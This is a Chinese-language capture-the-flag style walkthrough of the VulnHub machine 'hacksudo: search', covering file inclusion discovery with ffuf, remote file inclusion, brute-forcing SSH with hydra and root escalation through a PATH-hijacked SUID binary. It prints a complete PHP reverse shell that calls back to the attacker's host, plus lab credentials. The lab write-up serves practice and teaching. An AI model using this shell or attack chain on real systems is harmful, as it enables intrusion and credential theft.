vulnhub靶场之HACKSUDO: SEARCH
准备:
攻击机:虚拟机kali、本机win10。
靶机:hacksudo: search,下载地址:https://download.vulnhub.com/hacksudo/hacksudo-search.zip,下载后直接vbox打开即可。
知识点:文件包含漏洞、shell反弹、敏感信息发现、hydra爆破、添加环境变量、ffuf爆破。

一:信息收集
1.nmap扫描
使用nmap扫描下端口对应的服务:nmap -T4 -sV -p- -A 192.168.3.212,显示开放了22端口、80端口,开启了ssh服务、http服务。

2.目录扫描
使用gobuster进行目录扫描,命令:gobuster dir -u http://172.20.10.4 -x php,bak,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt,发现了search.php、search1.php等文件。

3.web服务
访问:http://192.168.3.212/时在其源码中发现会跳转到search.php文件,但是search.php文件会执行谷歌进行搜索,没什么意义。然后在访问search1.php文件时显示访问:www.hacksudo.com,但是添加dns解析后虽然发现了一个网站但是也没发现可以利用的信息,然后又检查其源码信息在其源码信息中发现了关键信息,告诉我们要进行ffuf测试。

使用ffuf进行参数探测,命令:ffuf -u 'http://192.168.3.212/search1.php?FUZZ=../../../../../etc/passwd' -w /usr/share/SecLists/Discovery/Web-Content/common.txt -fs 2918,成功发现参数:me。

二:漏洞利用
1.漏洞验证
利用获得参数:me尝试访问下本地/etc/passwd文件,成功获得/etc/passwd文件的信息,验证了本地文件读取漏洞存在。

尝试下是否存在远程文件包含漏洞,请求下:http://192.168.3.212/search1.php?me=https://www.baidu.com,验证了存在远程文件包含漏洞。

2.获取shell
在本地kali中编写shell反弹脚本并开启web服务,然后利用远程文件包含漏洞请求:kali中的shell反弹脚本,命令:http://192.168.3.212/search1.php?me=http://192.168.3.84:8000/shell.php,成功获得shell权限。
shell反弹脚本
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.3.84';
$port = 6688;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
chdir("/");
umask(0);
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>

三:提权
1.提权至hacksudo
在/var/www/html目录下发现.env文件,读取该文件发现数据库账户和密码信息:hiraman/MyD4dSuperH3r0!,尝试使用获得的账户和密码信息进行数据库登录,但是显示禁止hiraman在本地登录数据库。


继续往下查找信息,在/var/www/html/account目录下发现dbconnect.php文件,读取该文件发现数据库信息:数据库名称:wordpress、账号和密码信息:hacksudo/p@ssword。

使用获得账户和密码信息连接数据库,成功进入到数据库中。这里查找之后在数据库本身的information_schema表中发现user_variables表,但是显示仍是hacksudo账户不允许访问user_variables表。

前往/home目录下进行查看发现以下账户:hacksudo、john、monali、search,但是均无相关的访问权限,联想到上面获得的两个密码,那就进行爆破以下,命令:hydra -L name -P passwd ssh://192.168.3.212,成功发现一组账户和密码信息:hacksudo/MyD4dSuperH3r0!。

利用获得的账户信息:hacksudo/MyD4dSuperH3r0!直接切换到hacksudo账户,成功获得hacksudo账户权限并在/home/hacksudo目录下发现user.txt文件,读取该文件成功获得flag值。

2.提权至root
使用命令:find / -perm -4000 -type f 2>/dev/null来查找下具有特殊权限的文件,发现/home/hacksudo/search/tools/searchinstall文件。

前往/home/hacksudo/search/tools目录,在该目录下发现searchinstall.c文件,读取该文件信息,发现此文件以系统权限执行了install命令,因此我们可以自己写一个install命令。

在/tmp目录下将/bin/bash写入install文件,赋予该文件执行权限并将install添加到环境变量中,然后执行./searchinstall文件成功获得root权限。

获得root权限后在在/root目录下发现root.txt文件,读取该文件成功获得flag值。

vulnhub靶场之HACKSUDO: SEARCH的更多相关文章
- vulnhub靶场之HACKSUDO: THOR
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: Thor,下载地址:https://download.vulnhub.com/hacksudo/hacksudo---Tho ...
- vulnhub靶场之HACKSUDO: PROXIMACENTAURI
准备: 攻击机:虚拟机kali.本机win10. 靶机:hacksudo: ProximaCentauri,下载地址:https://download.vulnhub.com/hacksudo/hac ...
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
随机推荐
- Redis集群(主从复制)
主从复制主从复制原理 Redis集群中有很多Redis服务器,这些Reids服务器分为主服务器和从服务器. 从服务器会向主服务器发送命令:SYNC命令. 主服务器接收到SYNC命令后,开始执行GBSA ...
- FPGAUSB控制器编程
FPGA产生PLL LED子module,显示FPGA在运行 USB控制子module,USB时钟输入,状态输入,总线输出,USBFIFO地址总线,数据双向总线. USB状态机,Flaga有效时,转为 ...
- 20211306 实验四 Python综合实践
学号 20211306 <Python程序设计>实验四报告 课程:<Python程序设计> 班级: 2113 姓名: 丁文博 学号:20211306 实验教师:王志强 实验日期 ...
- jmeter转义
/reportDetail?md5Key%3De7beff4c73ccd8f1cb01c383eda7fed0%26cid%3D1344500703825739777%26isShow%3Dfalse ...
- 微信小程序——计算器
知识点: wxml: hover-class: 实现点击态效果 hover-class样式显示的原理是 点击时把样式加到class的样式中,冲突时,谁在后面就显示谁! data-val: 用于传数据, ...
- Java实验 继承与接口
一.实验目的 1.理解 Java 语言的继承和多态特性: 2.掌握变量的隐藏.方法的覆盖.重载: 3.掌握抽象类和接口的使用. 二.实验要求 1.根据实验步骤中提出的要求,使用eclipse等开发工 ...
- Cortex-M内核指令WFI和WFI
背景 今天阅读Nordic SDK里的example时发现里面功耗管理使用的power_manage()函数主要就是调用了一个__WFE()函数.查阅资料了解到WFE是一条汇编指令,它可以让CPU内核 ...
- python excel使用
python excel使用 https://blog.csdn.net/m0_59235508/article/details/122808875 pandas不覆盖写入 https://blog. ...
- C语言II—作业03
1.作业头 这个作业属于哪个课程 https://edu.cnblogs.com/campus/zswxy/SE2020-3 这个作业要求在哪里 https://edu.cnblogs.com/cam ...
- 循环神经网络(Recurrent Neural Networks)(第一部分)
参考 https://www.cnblogs.com/royhoo/p/Recurrent-Neural-Networks-1.html